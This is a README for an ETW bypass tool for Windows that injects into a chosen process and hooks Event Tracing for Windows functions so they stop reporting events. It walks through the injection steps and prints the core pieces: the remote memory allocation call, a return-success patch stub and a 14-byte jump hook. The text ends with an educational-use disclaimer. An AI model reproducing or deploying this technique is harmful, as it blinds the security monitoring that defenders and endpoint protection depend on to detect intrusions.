A sophisticated Event Tracing for Windows (ETW) redirection tool that enables dynamic ETW bypass through runtime function hooking.
- Dynamic ETW function hooking at runtime
- Process-specific ETW redirection
- Support for multiple ETW-related functions
- Thread-safe implementation
- Verbose debugging mode
- Clean and modern C++ implementation
- Windows 10/11
- Visual Studio 2019 or later
- Open the solution in Visual Studio
- Build the project in Release/Dbg mode
ETW-Redictor.exe <PID> [-v|--verbose]PID: Process ID to target for ETW redirection-vor--verbose: Enable verbose debugging output-hor--help: Display help information
ETW-Redictor employs a sophisticated approach to redirect Event Tracing for Windows through dynamic function hooking. Here's how it works:
-
Process Targeting
- Opens target process with full access rights
- Enumerates and manages process threads
-
Thread Management
- Suspends all threads (except the current one) before modification
- Safely resumes threads after hooks are in place
-
Function Hooking
- Targets critical ETW functions:
EtwEventWriteNtTraceEvent
- Implements a trampoline-based hooking mechanism
- Targets critical ETW functions:
-
Memory Operations
- Uses Native API (
Nt*functions) for memory operations - Implements proper memory protection handling
- Ensures thread-safe memory modifications
- Uses Native API (
The hook is implemented through the following steps:
- Memory Allocation
// alloc mem for hook
PVOID remoteMemory = NULL;
SIZE_T regionSize = sizeof(etwBypass);
NtAllocateVirtualMemory(
m_processHandle,
&remoteMemory,
0,
®ionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);- Hook Code Injection
// simple ret bypass
unsigned char etwBypass[] = {
0x48, 0x33, 0xC0, // xor rax, rax
0x48, 0xFF, 0xC0, // inc rax
0xC3 // ret
};- Jump Implementation
// 14 byte jmp to hook
unsigned char jumpBytes[14] = {
0x48, 0xB8, // mov rax, <addr>
[8 bytes for address], // hook address
0xFF, 0xE0, // jmp rax
0xCC, 0xCC // padding
};This tool is for educational and research purposes only. Users are responsible for complying with applicable laws and regulations.
This project is licensed under the MIT License - see the LICENSE file for details.